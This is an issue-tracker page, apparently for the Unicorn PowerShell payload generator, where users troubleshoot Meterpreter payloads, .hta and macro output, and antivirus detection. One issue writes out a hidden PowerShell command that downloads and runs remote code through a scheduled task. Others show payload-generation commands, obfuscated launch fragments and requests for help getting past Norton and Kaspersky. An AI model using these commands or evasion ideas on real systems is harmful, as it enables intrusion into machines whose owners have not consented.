I have an issue that when I want to use the powershell.txt codes after 24h,the powershell will run but in metasploit nothing will not happen but during first 24h of generating codes every thing is okey.
I think it is related to expiry date of that payload which has set to limited hours.
plz fix this serious issue
Peace

Macro detected by windows defender.

Looks like the format of the macro is being picked up by windows defender.
It may be a good idea to poach the output format of empire's macro payload, since that still doesn't get detected :D

Norton AV Trouble

Hi there,

I understand that TrustedSec is not responsible for the meterpreter stager, however I thought that this particular case was interesting due to the fact that SetStageEncoding was set to true.

Environment details listed below:

Norton Security (Full Trial)
Version: 22.5.2.15

unicorn

Any feasible way to get around this while still being able to use Meterpreter? Is there any encoding options that I am leaving out?

The payload is being executed with the following Scheduled Task:

Powershell.exe -NoExit -Windowstyle hidden IEX ((New-Object Net.WebClient).DownloadString('http://pentestbox/powershell_attack.txt'))

Note: I'm not using powershell_attack.txt as the filename.

We have a problem here

Well, bypass properly the AV using my own obfuscation and using the system memory.

The problem now is that, when I'm in the meterpreter and I try to migrate or open the shell, this action is suspicious and is blocked by the "victim" AV.

So, I can start the session shell, but once I'm on the session, each action or movement from meterpreter is caught by mr kspky

Any hint? thanks

Suggestion: Allow disabling of sync on a pr. configuration basis

Hi Kam,

Big fan of Unicorn, so i figured i would add a suggestion that I think would make it even better!

We all know that keeping development environments up2date with content from production environments is a real hassle, often involving database backups etc. Unicorn ofcourse lets us get around this!

However, a human error might occur where someone accidentally syncs content on a production environment, so it would be awesome if it was possible to disable sync for a given configuration.

Supported Windows / Office Versions

Sorry for opening an issue for this but i don't know where else to ask.

I have tested unicorn successfully under Windows 7 & Office 2016. Any idea what other Windows / Office versions are supported?

.hta's Broken in latest unicorn?

I'm no longer able to generate working .hta's using unicorn. I was wondering if you could confirm this is a legitimate issue, or is this just me?

I've generated working payloads on my setup before pulling the latest from GitHub. The problem appears to be that the .hta generated has some sort of syntax error, maybe from unbalanced quotes?

Steps to Recreate

  1. Clone the latest unicorn, or git pull to the latest
git clone https://github.com/trustedsec/unicorn.git

or, if you have it, update to the latest:

git pull
  1. Generate an .hta file (note: no errors show while generating, it is not a problem with generating the payload, the problem appears to be with the syntax script or powershell generated)
python unicorn.py windows/meterpreter/reverse_tcp 123.123.123.123 443 hta
  1. Launch the .hta file on a Windows host, and observe the error:
    image

Temporary Workaround

Reverting to version 2.4.2 appears to fix the issue:

git clone https://github.com/trustedsec/unicorn.git
git checkout tags/2.4.2
python unicorn.py windows/meterpreter/reverse_tcp 123.123.123.123 443 hta

Additional Details

I believe the issue is the quoting right before the larger base64 part of the payload (right before “STUFF” in this comparison for example). Reverting to 2.4.2, right before commit 8fc0a81, appears to resolve the error message and allow proper payload execution.

2.4.2:

a.run('%windir%\\System32\\cmd.exe /c powershell -w 1 -C "sv 77 -;sv II ec;sv Z ((gv 77).value.toString()+(gv II).value.toString());powershell (gv Z).value.toString() "STUFF

2.4.3

a.run('%windir%\\System32\\cmd.exe /c powershell -w 1 -C "sv CY -;sv 5S ec;sv n ((gv CY).value.toString()+(gv 5S).value.toString());powershell (gv n).value.toString() 'STUFF

So it could be related to this commit: 8fc0a81

Last Update (version 2.3.4) Not Work!

Hi Dear,

Since version 2.3.4 released, powershell_attack.txt Not Work!
I try this command:
python unicorn.py windows/meterpreter/reverse_https ip port
and convert .txt file to .bat file and run that, but powershell.exe don't open in target system (my local vm system) and listener don't receive every sessions!
In other hand this time, previous version catch by windows defender, kaspersky and norton AVs :(

Word 2016 : Powershell Macro not launched automatically

Hello,

Big fan, just ran into an issue with a relatively small powershell macro. When opening Word 2016, I'd expect, after "Enabling Content", that the Macro should launch automatically... but it does not. I can only launch it by navigating to "View -> Macro -> Run -> Auto_Open", and then the payload is executed successfully.

Macro was created with the "macro 500" switch and seems to be fully functional as seen when executed manually.

Thoughts? What can I do to debug this?

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.